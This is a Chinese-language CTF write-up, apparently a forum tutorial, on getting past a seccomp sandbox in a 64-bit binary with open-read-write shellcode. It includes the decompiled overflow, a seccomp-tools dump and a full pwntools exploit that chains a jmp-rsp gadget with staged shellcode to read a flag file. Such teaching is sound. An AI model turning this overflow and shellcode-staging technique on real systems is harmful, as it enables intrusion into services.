-
-
[原创]迅速入门64位栈沙盒ORW
-
2021-5-13 17:32
12516
-
概述
例题buu 极客大挑战 NOT BAD
什么是orw?
所谓orw就是open read write 打开flag 写入flag 输出flag
什么是seccomp?
seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
大概思路 这种题都会mmap一段内存在栈上
关于mmap如下
我们先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw 就可以得到flag了QWQ
详解
直冲漏洞函数
很显然可以溢出0x10,但是无论是栈迁移还是泄露libc都是不可能的太小了
但是我们可以去进行orw,先进行沙箱检测
1 2 3 4 5 6 7 8 | int sub_400A16()
{
char buf[ 32 ]; / / [rsp + 0h ] [rbp - 20h ] BYREF
puts( "Easy shellcode, have fun!" );
read( 0 , buf, 0x38uLL );
return puts( "Baddd! Focu5 me! Baddd! Baddd!" );
}
|
很好orw权限都开了没问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | q@ubuntu:~$ seccomp - tools dump . / not
line CODE JT JF K
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0000 : 0x20 0x00 0x00 0x00000004 A = arch
0001 : 0x15 0x00 0x08 0xc000003e if (A ! = ARCH_X86_64) goto 0010
0002 : 0x20 0x00 0x00 0x00000000 A = sys_number
0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005
0004 : 0x15 0x00 0x05 0xffffffff if (A ! = 0xffffffff ) goto 0010
0005 : 0x15 0x03 0x00 0x00000000 if (A = = read) goto 0009
0006 : 0x15 0x02 0x00 0x00000001 if (A = = write) goto 0009
0007 : 0x15 0x01 0x00 0x00000002 if (A = = open ) goto 0009
0008 : 0x15 0x00 0x01 0x0000003c if (A ! = exit) goto 0010
0009 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010 : 0x06 0x00 0x00 0x00000000 return KILL
|
先上exp,然后细说
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import *
io = process( './not' )
context.log_level = 'debug'
context.arch = 'amd64'
jmp_rsp = 0x400a01
mmap_place = 0x123000
io.recvuntil( 'have fun!\n' )
sh3 + = asm(shellcraft. open ( './flag' ))
sh3 + = asm(shellcraft.read( 3 ,mmap_place + 0x300 , 0x100 ))
sh3 + = asm(shellcraft.write( 1 ,mmap_place + 0x300 , 0x100 ))
sh1 = asm(shellcraft.read( 0 ,mmap_place, 500 )) + asm( "mov rax,0x123000;call rax" )
sh1 = sh1.ljust( 40 , '\x00' )
sh1 + = p64(jmp_rsp)
sh1 + = asm( "sub rsp,0x30;jmp rsp" )
io.sendline(sh1)
sleep( 1 )
io.sendline(sh3)
io.interactive()
|
sh1非常好理解就是,开头40个\x00就是单纯的填充到ebp,然后利用shellcraft函数去利用read函数进行mmap的跳转
跳转用的汇编就是后面asm里的汇编语言
asm("sub rsp,0x30;jmp rsp")为什么是0x30?
因为rsp-0x30就是buf,咋看的?来看ida
buf距离end of stack variables共计0x30
1 2 3 4 5 | - 0000000000000020 buf db 32 dup(?)
+ 0000000000000000 s db 8 dup(?)
+ 0000000000000008 r db 8 dup(?)
+ 0000000000000010
+ 0000000000000010 ; end of stack variables
|
ok继续看,为什么是jmp rsp?
如果直接栈溢出,想要一溢出就执行shellcode是不可行的。要么使用call,要么使用像这里的jmp rsp,要么把shellcode的起始地址写到溢出的位置。
我们还要跳转到rsp指针去让他执行里面内容才可以
接着看关键的sh3构造orw
打开open flag这个没什么好说的
然后read这里必须好好讲讲
mmap_place地址多少?一般程序有注释,也可以gdb vmmap
1 | asm(shellcraft.read( 3 ,mmap_place + 0x300 , 0x100 ))
|
vmmap如下,这段空间大小0x1000,也就是说read里面读取到哪里都无所谓反正mmap_place+x<=max_place就可以,后面那个0x100是读取大小
1 2 | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x123000 0x124000 - wxp 1000 0
|
划重点!!!!!read()函数第一个变量 fd 是文件描述符
write也是一样的第一个参数
如下图我们可以知道对于文件描述符0-2都是保留的用于缓冲区
我们第一个打开文件的文件描述符必定是3
第二个是4
以此类推
改日有空再上堆的ORW
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-5-13 17:52
被H.R.P编辑
,原因: